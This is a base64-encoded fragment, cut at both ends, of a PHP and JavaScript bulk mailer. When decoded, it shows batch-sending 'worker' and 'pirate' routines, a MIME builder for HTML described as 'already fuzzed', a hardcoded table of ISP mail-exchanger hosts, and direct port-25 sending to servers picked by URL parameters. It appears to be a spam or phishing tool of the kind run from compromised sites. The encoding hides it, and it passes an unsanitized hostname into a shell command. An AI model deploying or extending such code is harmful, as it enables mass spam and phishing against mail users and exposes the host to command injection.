rZXIoKSB7CgkJaW5pdE1haWxlck9iamVjdCgpOwoJCWlmICh0eXBlb2Ygd2luZG93LnN0YXJ0Q2hlY2tpbmcgIT0gJ3VuZGVmaW5lZCcgJiYKCQkJZG9jdW1lbnQucmVhZHlTdGF0ZSA9PSAiY29tcGxldGUiICYmCgkJCXR5cGVvZiBtYWlsZXJPYmplY3RGKCkgIT0gInVuZGVmaW5lZCIgJiYKCQkJKG1haWxlck9iamVjdEYoKS5tYWlsbGlzdC5sZW5ndGggPiAwIHx8CgkJCQlsb2NhbFN0b3JhZ2UubGFzdEJhdGNoLmxlbmd0aCA+IDApKSB7CgkJCXdpbmRvdy5zY3JvbGxUbygwLCAwKTsKCQkJLy9iZWZvcmUgcGlyYXRlIGlzIGNhbGxlZCBpbiwgd2Ugc2hvdWxkIG1vdmUgCgkJCS8vdW5zZW50IGluIGxhc3QgYmF0Y2ggYmFjayBpbnRvIHRoZSBxdWV1ZQoJCQlsb2coIndvcmtlciBpcyBjb250aW51aW5nLiIpOwoJCQkvL3dpbmRvdy5zdG9wKCk7CgkJCXBpcmF0ZSgpOwoJCX0KCQllbHNlIHsKCQkJc2V0VGltZW91dChmdW5jdGlvbiAoKSB7IHdvcmtlcigpOyB9LCAyMDAwKTsKCQl9Cgl9CglmdW5jdGlvbiBleHBvcnRNYWlsZXJPYmplY3RGKCkgewoJCXZhciBtYU8gPSBKU09OLnN0cmluZ2lmeShtYWlsZXJPYmplY3RGKCkpOwoJCWFsZXJ0KG1hTyk7CgkJY29uc29sZS5sb2cobWFPKTsKCX0KCS8vY2FsbHMKCXRyeSB7CgkJdG9wLmZyYW1lTG9hZGVkQWN0KCk7CgkJc2V0VGltZW91dChmdW5jdGlvbiAoKSB7IHdpbmRvdy5zdGFydENoZWNraW5nID0gMTsgfSwgMjAwMCk7Cgl9CgljYXRjaCAoZSkgeyB9Cgl3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcignc2Nyb2xsJywgd2luZG93LmNoZWNrUG9zaXRpb24sIGZhbHNlKTsKCXByZWZpbGwoKTsKCS8vYmVsb3cgc2hvdWxkIGJlIGNhbGxlZCBhdCByZWd1bGFyIGludGVydmFscwoJaWYgKHR5cGVvZiBsb2NhbFN0b3JhZ2UubnVtTWFpbEZhaWxlZCAhPSAndW5kZWZpbmVkJykgewoJCWJ5SWQoInNlbnQiKS5pbm5lckhUTUwgPSBsb2NhbFN0b3JhZ2UubnVtTWFpbFNlbnQ7CgkJYnlJZCgncmVsb2FkcycpLmlubmVySFRNTCA9IGxvY2FsU3RvcmFnZS5udW1iZXJPZlJlbG9hZHM7Cgl9Cgl2YXIgY291bnQgPSAwOyAvL25lZWRlZCBieSBjb3VudCBjaGVja2VyIGR1cmluZyBzZW5kaW5nLgoJc2V0VGltZW91dChmdW5jdGlvbiAoKSB7IHNlbmRpbmdUaW1lcigpOyB9LCAyNDAwMDApOwoKCTwvc2NyaXB0PgoJPD9waHAKCglmbHVzaCgpOwoJb2JfZmx1c2goKTsKCn0KCi8vc3RvcCBwcm9jZXNzaW5nIGZ1cnRoZXIgaWYgJF9QT1NUIGlzIGVtcHR5CmlmKGVtcHR5KCRfUE9TVCkpewoJZXhpdCgpOwp9CgovLz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci8vIEN1c3RvbSBNSU1FIGJ1aWxkZXIgZnVuY3Rpb25zIChyZXBsYWNlcyBQSFBNYWlsZXIpCi8vPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCi8qKgogKiBFbmNvZGUgc3RyaW5nIHRvIHF1b3RlZC1wcmludGFibGUgKGxpa2UgR28ncyBlbmNvZGVUb1F1b3RlZFByaW50YWJsZSkKICovCmZ1bmN0aW9uIGVuY29kZVRvUXVvdGVkUHJpbnRhYmxlKCRpbnB1dCkgewogICAgJGlucHV0ID0gc3RyX3JlcGxhY2UoJz0nLCAnPTNEJywgJGlucHV0KTsKICAgICRvdXRwdXQgPSAnJzsKICAgICRsZW4gPSBzdHJsZW4oJGlucHV0KTsKICAgIGZvciAoJGkgPSAwOyAkaSA8ICRsZW47ICRpKyspIHsKICAgICAgICAkY2hhciA9ICRpbnB1dFskaV07CiAgICAgICAgJGNvZGUgPSBvcmQoJGNoYXIpOwogICAgICAgIGlmICgkY29kZSA+IDEyNykgewogICAgICAgICAgICAkb3V0cHV0IC49ICc9JyAuIHN0cnRvdXBwZXIoZGVjaGV4KCRjb2RlKSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJG91dHB1dCAuPSAkY2hhcjsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gJG91dHB1dDsKfQoKLyoqCiAqIFBhZCBsaW5lcyB3aXRoIHByb3BlciBDUkxGIGxpbmUgZW5kaW5ncyBmb3IgZW1haWwKICovCmZ1bmN0aW9uIHBhZExpbmVzKCR0ZXh0LCAkaXNCYXNlNjQgPSBmYWxzZSwgJGVvbCA9ICJcclxuIikgewogICAgJGxpbmVMaW1pdCA9ICRpc0Jhc2U2NCA/IDc2IDogNzU7CiAgICAkc29mdEJyZWFrID0gJGlzQmFzZTY0ID8gJGVvbCA6ICI9IiAuICRlb2w7CiAgICAkbGluZXMgPSBleHBsb2RlKCJcbiIsIHN0cl9yZXBsYWNlKCJcciIsICIiLCAkdGV4dCkpOwogICAgJHBhZGRlZCA9ICcnOwogICAgZm9yZWFjaCAoJGxpbmVzIGFzICRsaW5lKSB7CiAgICAgICAgaWYgKHN0cmxlbigkbGluZSkgPiAkbGluZUxpbWl0KSB7CiAgICAgICAgICAgICRjaHVua3MgPSBzdHJfc3BsaXQoJGxpbmUsICRsaW5lTGltaXQpOwogICAgICAgICAgICAkcGFkZGVkIC49IGltcGxvZGUoJHNvZnRCcmVhaywgJGNodW5rcyk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHBhZGRlZCAuPSAkbGluZTsKICAgICAgICB9CiAgICAgICAgJHBhZGRlZCAuPSAkZW9sOwogICAgfQogICAgcmV0dXJuIHJ0cmltKCRwYWRkZWQsICRlb2wpOwp9CgovKioKICogRXh0cmFjdCBwbGFpbiB0ZXh0IGZyb20gSFRNTCAoc2ltcGxlIHZlcnNpb24pCiAqLwpmdW5jdGlvbiBleHRyYWN0UGxhaW5UZXh0RnJvbUhUTUwoJGh0bWwpIHsKICAgIC8vIFJlbW92ZSBzdHlsZSB0YWdzCiAgICAkaHRtbCA9IHByZWdfcmVwbGFjZSgnLzxzdHlsZVtePl0qPi4qPzxcL3N0eWxlPi9zaScsICcnLCAkaHRtbCk7CiAgICAvLyBDb252ZXJ0IDxhPiB0byAidGV4dCA8dXJsPiIKICAgICRodG1sID0gcHJlZ19yZXBsYWNlX2NhbGxiYWNrKCcvPGFccysoPzpbXj5dKj9ccyspP2hyZWY9IihbXiJdKikiW14+XSo+KC4qPyk8XC9hPi9zaScsCiAgICAgICAgZnVuY3Rpb24oJG0pIHsKICAgICAgICAgICAgcmV0dXJuIHRyaW0oc3RyaXBfdGFncygkbVsyXSkpIC4gJyA8JyAuICRtWzFdIC4gJz4nOwogICAgICAgIH0sICRodG1sKTsKICAgIC8vIFJlbW92ZSBhbGwgb3RoZXIgdGFncwogICAgJHRleHQgPSBzdHJpcF90YWdzKCRodG1sKTsKICAgIC8vIENvbGxhcHNlIHdoaXRlc3BhY2UKICAgICR0ZXh0ID0gcHJlZ19yZXBsYWNlKCcvXHMrLycsICcgJywgJHRleHQpOwogICAgcmV0dXJuIHRyaW0oJHRleHQpOwp9CgovKioKICogQnVpbGQgZnVsbCBNSU1FIG1lc3NhZ2UgKG11bHRpcGFydC9hbHRlcm5hdGl2ZSBvciBtdWx0aXBhcnQvbWl4ZWQpCiAqICRodG1sTWVzc2FnZSAtIEhUTUwgY29udGVudCAoYWxyZWFkeSBmdXp6ZWQpCiAqICRwbGFpblRleHQgICAtIHBsYWluIHRleHQgYWx0ZXJuYXRpdmUgKGV4dHJhY3RlZCBmcm9tIEhUTUwpCiAqICRhdHRhY2htZW50UGF0aCAtIG9wdGlvbmFsIGZpbGUgcGF0aCBmb3IgYXR0YWNobWVudAogKiAkaWQsICRpZDIgICAgLSBnbG9iYWwgYm91bmRhcmllcyBnZW5lcmF0ZWQgZWFybGllcgogKi8KLyoqCiAqIEJ1aWxkIGZ1bGwgTUlNRSBtZXNzYWdlIHdpdGggY29ycmVjdCBDUkxGIGxpbmUgZW5kaW5ncwogKi8KZnVuY3Rpb24gYnVpbGRNaW1lTWVzc2FnZSgkaHRtbE1lc3NhZ2UsICRwbGFpblRleHQsICRhdHRhY2htZW50UGF0aCA9IG51bGwpIHsKICAgIGdsb2JhbCAkaWQsICRpZDI7CiAgICAkZW9sID0gIlxyXG4iOwogICAgCiAgICAvLyBFbmNvZGUgYW5kIHdyYXAgSFRNTCBwYXJ0CiAgICAkcXBIdG1sID0gZW5jb2RlVG9RdW90ZWRQcmludGFibGUoJGh0bWxNZXNzYWdlKTsKICAgICR3cmFwcGVkSHRtbCA9IHBhZExpbmVzKCRxcEh0bWwsIGZhbHNlLCAkZW9sKTsKICAgIC8vIEVuY29kZSBhbmQgd3JhcCBwbGFpbiB0ZXh0IHBhcnQKICAgICRxcFRleHQgPSBlbmNvZGVUb1F1b3RlZFByaW50YWJsZSgkcGxhaW5UZXh0KTsKICAgICR3cmFwcGVkVGV4dCA9IHBhZExpbmVzKCRxcFRleHQsIGZhbHNlLCAkZW9sKTsKICAgIAogICAgJG1pbWUgPSAiIjsKICAgIAogICAgaWYgKCRhdHRhY2htZW50UGF0aCAmJiBmaWxlX2V4aXN0cygkYXR0YWNobWVudFBhdGgpKSB7CiAgICAgICAgLy8gbXVsdGlwYXJ0L21peGVkCiAgICAgICAgJG1pbWUgLj0gIkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOyBib3VuZGFyeT1cIiRpZFwiIiAuICRlb2wgLiAkZW9sOwogICAgICAgICRtaW1lIC49ICItLSRpZCIgLiAkZW9sOwogICAgICAgICRtaW1lIC49ICJDb250ZW50LVR5cGU6IG11bHRpcGFydC9hbHRlcm5hdGl2ZTsgYm91bmRhcnk9XCIkaWQyXCIiIC4gJGVvbCAuICRlb2w7CiAgICAgICAgJG1pbWUgLj0gIi0tJGlkMiIgLiAkZW9sOwogICAgICAgICRtaW1lIC49ICJDb250ZW50LVR5cGU6IHRleHQvcGxhaW47IGNoYXJzZXQ9dXRmLTgiIC4gJGVvbDsKICAgICAgICAkbWltZSAuPSAiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogcXVvdGVkLXByaW50YWJsZSIgLiAkZW9sIC4gJGVvbDsKICAgICAgICAkbWltZSAuPSAkd3JhcHBlZFRleHQgLiAkZW9sIC4gJGVvbDsKICAgICAgICAkbWltZSAuPSAiLS0kaWQyIiAuICRlb2w7CiAgICAgICAgJG1pbWUgLj0gIkNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAuICRlb2w7CiAgICAgICAgJG1pbWUgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IHF1b3RlZC1wcmludGFibGUiIC4gJGVvbCAuICRlb2w7CiAgICAgICAgJG1pbWUgLj0gJHdyYXBwZWRIdG1sIC4gJGVvbCAuICRlb2w7CiAgICAgICAgJG1pbWUgLj0gIi0tJGlkMi0tIiAuICRlb2w7CiAgICAgICAgJG1pbWUgLj0gIi0tJGlkIiAuICRlb2w7CiAgICAgICAgCiAgICAgICAgLy8gQXR0YWNobWVudCBwYXJ0CiAgICAgICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJGF0dGFjaG1lbnRQYXRoKTsKICAgICAgICAkZmlsZURhdGEgPSBmaWxlX2dldF9jb250ZW50cygkYXR0YWNobWVudFBhdGgpOwogICAgICAgICRiYXNlNjQgPSBiYXNlNjRfZW5jb2RlKCRmaWxlRGF0YSk7CiAgICAgICAgJHdyYXBwZWRCYXNlNjQgPSBwYWRMaW5lcygkYmFzZTY0LCB0cnVlLCAkZW9sKTsKICAgICAgICAkbWltZSAuPSAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW07IG5hbWU9XCIkZmlsZW5hbWVcIiIgLiAkZW9sOwogICAgICAgICRtaW1lIC49ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiRmaWxlbmFtZVwiIiAuICRlb2w7CiAgICAgICAgJG1pbWUgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NCIgLiAkZW9sIC4gJGVvbDsKICAgICAgICAkbWltZSAuPSAkd3JhcHBlZEJhc2U2NCAuICRlb2w7CiAgICAgICAgJG1pbWUgLj0gIi0tJGlkLS0iIC4gJGVvbDsKICAgIH0gZWxzZSB7CiAgICAgICAgLy8gbXVsdGlwYXJ0L2FsdGVybmF0aXZlIG9ubHkKICAgICAgICAkbWltZSAuPSAiQ29udGVudC1UeXBlOiBtdWx0aXBhcnQvYWx0ZXJuYXRpdmU7IGJvdW5kYXJ5PVwiJGlkXCIiIC4gJGVvbCAuICRlb2w7CiAgICAgICAgJG1pbWUgLj0gIi0tJGlkIiAuICRlb2w7CiAgICAgICAgJG1pbWUgLj0gIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIgLiAkZW9sOwogICAgICAgICRtaW1lIC49ICJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBxdW90ZWQtcHJpbnRhYmxlIiAuICRlb2wgLiAkZW9sOwogICAgICAgICRtaW1lIC49ICR3cmFwcGVkVGV4dCAuICRlb2wgLiAkZW9sOwogICAgICAgICRtaW1lIC49ICItLSRpZCIgLiAkZW9sOwogICAgICAgICRtaW1lIC49ICJDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLiAkZW9sOwogICAgICAgICRtaW1lIC49ICJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBxdW90ZWQtcHJpbnRhYmxlIiAuICRlb2wgLiAkZW9sOwogICAgICAgICRtaW1lIC49ICR3cmFwcGVkSHRtbCAuICRlb2wgLiAkZW9sOwogICAgICAgICRtaW1lIC49ICItLSRpZC0tIiAuICRlb2w7CiAgICB9CiAgICAKICAgIHJldHVybiAkbWltZTsKfQoKLy89PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQovLyBTTVRQIHNlbmRpbmcgZnVuY3Rpb25zICh1bmNoYW5nZWQgZnJvbSBvcmlnaW5hbCkKLy89PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKJFNNVFBJTmhvbGQgPSBmc29ja29wZW4gKCRzbXRwU2VydmVyLCAkc210cFBvcnQpOwokU01UUElOID0gZmFsc2U7CiRuZXh0VG8gPSAnJzsKZnVuY3Rpb24gc3RhcnRUTFMoJGNvbm5lY3Rpb24pewogICAgaWYgKCEkdGhpcy0+c2VuZENvbW1hbmQoJ1NUQVJUVExTJywgJ1NUQVJUVExTJywgMjIwKSkgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgIC8vQWxsb3cgdGhlIGJlc3QgVExTIHZlcnNpb24ocykgd2UgY2FuCiAgICAkY3J5cHRvX21ldGhvZCA9IFNUUkVBTV9DUllQVE9fTUVUSE9EX1RMU19DTElFTlQ7CiAgICAgICAgLy9QSFAgNS42LjcgZHJvcHBlZCBpbmNsdXNpb24gb2YgVExTIDEuMSBhbmQgMS4yU1RSRUFNX0NSWVBUT19NRVRIT0RfVExTX0NMSUVOVAogICAgLy9zbyBhZGQgdGhlbSBiYWNrIGluIG1hbnVhbGx5IGlmIHdlIGNhbgogICAgaWYgKGRlZmluZWQoJ1NUUkVBTV9DUllQVE9fTUVUSE9EX1RMU3YxXzJfQ0xJRU5UJykpIHsKICAgICAgICAkY3J5cHRvX21ldGhvZCB8PSBTVFJFQU1fQ1JZUFRPX01FVEhPRF9UTFN2MV8yX0NMSUVOVDsKICAgICAgICAkY3J5cHRvX21ldGhvZCB8PSBTVFJFQU1fQ1JZUFRPX01FVEhPRF9UTFN2MV8xX0NMSUVOVDsKICAgIH0KICAgIC8vIEJlZ2luIGVuY3J5cHRlZCBjb25uZWN0aW9uCiAgICAvLypzZXRfZXJyb3JfaGFuZGxlcihbJHRoaXMsICdlcnJvckhhbmRsZXInXSk7CiAgICAkY3J5cHRvX29rID0gc3RyZWFtX3NvY2tldF9lbmFibGVfY3J5cHRvKAogICAgICAgICRjb25uZWN0aW9uLAogICAgICAgIHRydWUsCiAgICAgICAgJGNyeXB0b19tZXRob2QKICAgICk7CiAgICAvLypyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsKICAgIHJldHVybiAkY29ubmVjdGlvbjsKfQpmdW5jdGlvbiBnZXRteHIzKCRob3N0bmFtZSwgJiRteGhvc3RzLCBhcnJheSAmJG14d2VpZ2h0PW51bGwpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAkbXhob3N0cyA9IGFycmF5KCk7CgkJCQkgICBleGVjKCduc2xvb2t1cCAtdHlwZT1teCAnLiRob3N0bmFtZSwgJHJlc3VsdF9hcnIpOwogICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkcmVzdWx0X2FyciBhcyAkbGluZSkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCIvLiptYWlsIGV4Y2hhbmdlciA9ICguKikvIiwgJGxpbmUsICRtYXRjaGVzKSkKICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzX3hvPWV4cGxvZGUoJyAnLCAkbWF0Y2hlc1sxXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbXhob3N0c1tdID0gJHNfeG9bMV07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbXh3ZWlnaHRbXSA9ICRzX3hvWzBdOyAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICB9ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICByZXR1cm4gJG14aG9zdHM7Cn0KZnVuY3Rpb24gZW5hYmxlZF9mdW4oJGZ1bmMpIHsKCSRkaXNhYmxlZCA9IGV4cGxvZGUoJywnLCBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKTsKCXJldHVybiAhaW5fYXJyYXkoJGZ1bmMsICRkaXNhYmxlZCk7Cn0KZnVuY3Rpb24gZ2V0bXhycnIoJGRvbWFpbil7CgkKCWdsb2JhbCAkbGluZU1YcjsKCWlmIChpc19hcnJheSgkbGluZU1YcikgJiYgIWVtcHR5KCRsaW5lTVhyKSkgewoJCXJldHVybiAkbGluZU1YcjsKCX0KCSRteENhY2hlID0gYXJyYXkoKTsKCSRteENhY2hlWydhZGVscGhpYS5uZXQnXSA9IGFycmF5KCdkbnZyY28tY21lZGdlMDIuZW1haWwucnIuY29tJywnZG52cmNvLWNtZWRnZTAxLmVtYWlsLnJyLmNvbScpOwoJJG14Q2FjaGVbJ2F0dC5iaXonXSA9IGFycmF5KCdteDJjNDUuY2FycmllcnpvbmUuY29tJywnbXgxYzQ1LmNhcnJpZXJ6b25lLmNvbScsJ214NGM0NS5jYXJyaWVyem9uZS5jb20nLCdteDNjNDUuY2FycmllcnpvbmUuY29tJyk7CgkkbXhDYWNoZVsnYXR0aW5ldC5jb20nXSA9IGFycmF5KCdteC0xMTAucmVmbGV4aW9uLm5ldCcsJ214LTEwMC5yZWZsZXhpb24ubmV0JywnYXNwLnJlZmxleGlvbi5uZXQnKTsKCSRteENhY2hlWydhdHQubmV0J10gPSBhcnJheSgnZmYtaXA0LW14LXZpcDIucHJvZGlneS5uZXQnLCdhbC1pcDQtbXgtdmlwMi5wcm9kaWd5Lm5ldCcsJ2ZmLWlwNC1teC12aXAxLnByb2RpZ3kubmV0JywnYWwtaXA0LW14LXZpcDEucHJvZGlneS5uZXQnKTsKCSRteENhY2hlWydiZWxsc291dGgubmV0J10gPSBhcnJheSgnZmYtaXA0LW14LXZpcDIucHJvZGlneS5uZXQnLCdhbC1pcDQtbXgtdmlwMi5wcm9kaWd5Lm5ldCcsJ2FsLWlwNC1teC12aXAxLnByb2RpZ3kubmV0JywnZmYtaXA0LW14LXZpcDEucHJvZGlneS5uZXQnKTsKCSRteENhY2hlWydjaGFydGVyLmNvbSddID0gYXJyYXkoJ21haWwuY2hhcnRlcmNvbS5jb20nLCduY2UubWFpbC5jaGFydGVyY29tLmNvbScpOwoJJG14Q2FjaGVbJ2NoYXJ0ZXJpbnRlcm5ldC5uZXQnXSA9IGFycmF5KCdtYWlsLmNoYXJ0ZXJpbnRlcm5ldC5jb20nKTsKCSRteENhY2hlWydjaGFydGVyLm5ldCddID0gYXJyYXkoJ214MC5jaGFydGVyLm5ldCcpOwoJJG14Q2FjaGVbJ2NvbWNhc3QuY29tJ10gPSBhcnJheSgnbXhhLTAwMTQzNzAyLmdzbGIucHBob3N0ZWQuY29tJywnbXhiLTAwMTQzNzAyLmdzbGIucHBob3N0ZWQuY29tJyk7CgkkbXhDYWNoZVsnY29tY2FzdC5uZXQnXSA9IGFycmF5KCdteDEuY29tY2FzdC5uZXQnLCdteDIuY29tY2FzdC5uZXQnKTsKCSRteENhY2hlWydjb3guY29tJ10gPSBhcnJheSgnbXhiLTAwMmIzOTAxLmdzbGIucHBob3N0ZWQuY29tJywnbXhhLTAwMmIzOTAxLmdzbGIucHBob3N0ZWQuY29tJyk7CgkkbXhDYWNoZVsnY294aW5ldC5jb20nXSA9IGFycmF5KCdtYWlsLmgtZW1haWwubmV0Jyk7CgkkbXhDYWNoZVsnY294aW5ldC5uZXQnXSA9IGFycmF5KCdteC5jb3htYWlsLmNvbScpOwoJJG14Q2FjaGVbJ2NveC5uZXQnXSA9IGFycmF5KCdjeHIubXguYS5jbG91ZGZpbHRlci5uZXQnKTsKCSRteENhY2hlWydjcy5jb20nXSA9IGFycmF5KCdteC1hb2wubWFpbC5nbTAueWFob29kbnMubmV0Jyk7CgkkbXhDYWNoZVsnZWFydGhsaW5rLmNvbSddID0gYXJyYXkoJ214OS5lYXJ0aGxpbmsubmV0JywnbXg2LmVhcnRobGluay5uZXQnLCdteDcuZWFydGhsaW5rLm5ldCcsJ214OC5lYXJ0aGxpbmsubmV0Jyk7CgkkbXhDYWNoZVsnZWFydGhsaW5rLm5ldCddID0gYXJyYXkoJ214OC5lYXJ0aGxpbmsubmV0JywnbXg3LmVhcnRobGluay5uZXQnLCdteDYuZWFydGhsaW5rLm5ldCcsJ214OS5lYXJ0aGxpbmsubmV0Jyk7CgkkbXhDYWNoZVsnZXhjaXRlLmNvbSddID0gYXJyYXkoJ21haWwtaW4tZXhjaXRlLnJvYzIuYmx1ZXRpZS5jb20nKTsKCSRteENhY2hlWydqdW5vLmNvbSddID0gYXJyYXkoJ214LnZncy51bnRkLmNvbScsJ214LmRjYS51bnRkLmNvbScpOwoJJG14Q2FjaGVbJ2p1bm8ubmV0J10gPSBhcnJheSgnb3RoZXIuanVuby5jb20nKTsKCSRteENhY2hlWyduZXRzY2FwZS5jb20nXSA9IGFycmF5KCdtYWlsLm5ldHNjYXBlLmV2ZXJ5b25lLm5ldCcpOwoJJG14Q2FjaGVbJ25ldHNjYXBlLm5ldCddID0gYXJyYXkoJ214LWFvbC5tYWlsLmdtMC55YWhvb2Rucy5uZXQnKTsKCSRteENhY2hlWyduZXR6ZXJvLmNvbSddID0gYXJyYXkoJ214LmRjYS51bnRkLmNvbScsJ214LnZncy51bnRkLmNvbScpOwoJJG14Q2FjaGVbJ25ldHplcm8ubmV0J10gPSBhcnJheSgnbXguZGNhLnVudGQuY29tJywnbXgudmdzLnVudGQuY29tJyk7CgkkbXhDYWNoZVsncGVvcGxlcGMuY29tJ10gPSBhcnJheSgnbXg2LmVhcnRobGluay5uZXQnLCdteDkuZWFydGhsaW5rLm5ldCcsJ214OC5lYXJ0aGxpbmsubmV0JywnbXg3LmVhcnRobGluay5uZXQnKTsKCSRteENhY2hlWydzYmNnbG9iYWwubmV0J10gPSBhcnJheSgnYWwtaXA0LW14LXZpcDEucHJvZGlneS5uZXQnLCdmZi1pcDQtbXgtdmlwMS5wcm9kaWd5Lm5ldCcsJ2ZmLWlwNC1teC12aXAyLnByb2RpZ3kubmV0JywnYWwtaXA0LW14LXZpcDIucHJvZGlneS5uZXQnKTsKCSRteENhY2hlWyd2ZXJpem9uLm5ldCddID0gYXJyYXkoJ214LWFvbC5tYWlsLmdtMC55YWhvb2Rucy5uZXQnKTsKCSRteENhY2hlWyd3b3JsZG5ldC5hdHQnXSA9IGFycmF5KCdmZi1pcDQtbXgtdmlwMi5wcm9kaWd5Lm5ldCcsJ2ZmLWlwNC1teC12aXAxLnByb2RpZ3kubmV0JywnYWwtaXA0LW14LXZpcDIucHJvZGlneS5uZXQnLCdhbC1pcDQtbXgtdmlwMS5wcm9kaWd5Lm5ldCcpOwoJJG14Q2FjaGVbJ2dtYWlsLmNvbSddID0gYXJyYXkoJ2dtYWlsLXNtdHAtaW4ubC5nb29nbGUuY29tJywnYWx0MS5nbWFpbC1zbXRwLWluLmwuZ29vZ2xlLmNvbScsJ2FsdDIuZ21haWwtc210cC1pbi5sLmdvb2dsZS5jb20nLCdhbHQzLmdtYWlsLXNtdHAtaW4ubC5nb29nbGUuY29tJywnYWx0NC5nbWFpbC1zbXRwLWluLmwuZ29vZ2xlLmNvbScpOwoJaWYgKGlzc2V0KCRfU0VTU0lPTlskZG9tYWluXSkpIHsKCQkkbXhDYWNoZVskZG9tYWluXSA9IGV4cGxvZGUoIiwiLCAkX1NFU1NJT05bJGRvbWFpbl0pOwoJfQoJaWYgKGlzc2V0KCRteENhY2hlWyRkb21haW5dKSkgewoJCXJldHVybiAkbXhDYWNoZVskZG9tYWluXTsKCX1lbHNlewoJCWlmICghZW5hYmxlZF9mdW4oJ2V4ZWMnKSkgewoJCQlnZXRteHIzKCRkb21haW4sICRteHIpOwoJCX1lbHNlewoJCQlnZXRteHJyKCRkb21haW4sJG14cik7CgkJfQoJCSRfU0VTU0lPTlskZG9tYWluXSA9IGltcGxvZGUoIiwiLCAkbXhyKTsKCQlyZXR1cm4gJG14cjsKCX0KfQpmdW5jdGlvbiBnZXRDb25uZWN0aW9uKCRyZWNpcGllbnQ9JycpewoJaWYgKGlzc2V0KCRfR0VUWydjaHVuayddKSkgewoJCXByaW50ICI8Zm9udCBjb2xvcj1cIndoaXRlXCI+PGI+ZXN0YWJsaXNoaW5nIG5ldyBjb25uZWN0aW9uPC9iPjwvZm9udD48YnI+IjsKCX0KCSRzbXRwU2VydmVyID0gaXNzZXQoJF9HRVRbJ3NlcnZlciddKT8kX0dFVFsnc2VydmVyJ106IjEyNy4wLjAuMSI7CglpZiAoaXNzZXQoJF9HRVRbJ2RpcmVjdHNlbmQnXSkpIHsKCQlsaXN0KCR1c2VyLCAkZG9tYWluKSA9IGV4cGxvZGUoIkAiLCAkcmVjaXBpZW50KTsKCQkkc3R0aW1lID0gbWljcm90aW1lKHRydWUpOwoJCSRteFJlY29yZHMgPSBnZXRteHJycigkZG9tYWluKTsKCQlmb3JlYWNoICgkbXhSZWNvcmRzIGFzICRzbXRwU2VydmVyKSB7CgkJCSRzbXRwU2VydmVyID0gZ2V0aG9zdGJ5bmFtZSgkc210cFNlcnZlcik7CgkJCSRzbXRwU2VydmVyID0gaXNzZXQoJF9HRVRbJ3NlcnZlciddKT8gJF9HRVRbJ3NlcnZlciddIDogJHNtdHBTZXJ2ZXI7CgkJCSRzbXRwY29ubiA9IGZzb2Nrb3BlbiAoJHNtdHBTZXJ2ZXIsIDI1KTsKCQkJaWYgKCRzbXRwY29ubikgewoJCQkJcmV0dXJuICRzbXRwY29ubjsKCQkJfQoJCX0KCQkKCgl9CgkvL2VjaG8gJHNtdHBTZXJ2ZXI7Cgkkc210cFBvcnQgPSAyNTsKCSRzbXRwY29ubiA9IGZzb2Nrb3BlbiAoJHNtdHBTZXJ2ZXIsICRzbXRwUG9ydCk7CglpZiAoISRzbXRwY29ubikgewoJCS8vdHJ5IGFnYWluCgkJJHNtdHBTZXJ2ZXIgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107CgkJJHNtdHBjb25uID0gZnNvY2tvcGVuICgkc210cFNlcnZlciwgJHNtdHBQb3J0KTsKCQlpZiAoISRzbXRwY29ubikgewoJCQkkc210cFBvcnQgPSA1ODc7CgkJCSRzbXRwU2VydmVyID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwoJCQkkc210cGNvbm4gPSBmc29ja29wZW4gKCRzbXRwU2VydmVyLCAkc210cFBvcnQpOwoJCQlpZiAoISRzbXRwY29ubikgewoJCQkJJHNtdHBTZXJ2ZXIgPSBpc3NldCgkX0dFVFsnc2VydmVyJ10pPyRfR0VUWydzZXJ2ZXInXToiMTI3LjAuMC4xIjsKCQkJCSRzbXRwY29ubiA9IGZzb2Nrb3BlbiAoJHNtdHBTZXJ2ZXIsICRzbXRwUG9ydCk7CgkJCQlpZiAoISRzbXRwY29ubikgewoJCQkJCS8vdGhpcyB3aWxsIG5ldmVyIHdvcmsgc28gd2UgYmV0dGVyIHF1aXQgZWFybHkuCgkJCQkJcHJpbnQgIjU1NSAtIGNvdWxkbid0IGNvb